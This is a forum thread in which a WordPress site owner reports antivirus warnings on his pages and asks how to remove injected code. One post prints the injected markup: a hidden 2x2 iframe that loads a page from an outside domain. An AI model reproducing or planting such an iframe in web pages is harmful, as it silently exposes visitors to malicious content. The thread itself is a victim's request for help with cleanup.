 * Hi Everyone,
 * I have an odd issue on my site [http://www.sinfiction.co.uk](http://www.sinfiction.co.uk)–
   the problem has only occurred since I upgrade to word press 3.5.1
 * Many people now get a virus warning pop up randomly when they visit the home 
   page or other pages. The virus warning is:
 * “Exploit:HTML/IframeRef.DM”
 * My research tells me some malicious HTML code has been injected into my home 
   page and some other pages. Is there a way I can view and edit the HTML code of
   these pages?
 * Thanks
 * Dave

 * I have viewed the source code of my home page in internet explorer by going to
   View > Source and I can clearly see the exploit in the code:
 * <iframe name=Twitter scrolling=auto frameborder=no align=center height=2 width
   =2 src=http://3disex.net/zxap.html?i=2609068></iframe></body>
 * How can I edit this code?
 * Thanks

   site again.

 * Thanks for these links, I have got to a point now where I may have to start again
   from scratch with the website. Before I do this I would like to know how to edit
   the source code for my home page. This way I can manually remove the IFrames.
 * Do you know how to do this?
 * Thanks again.
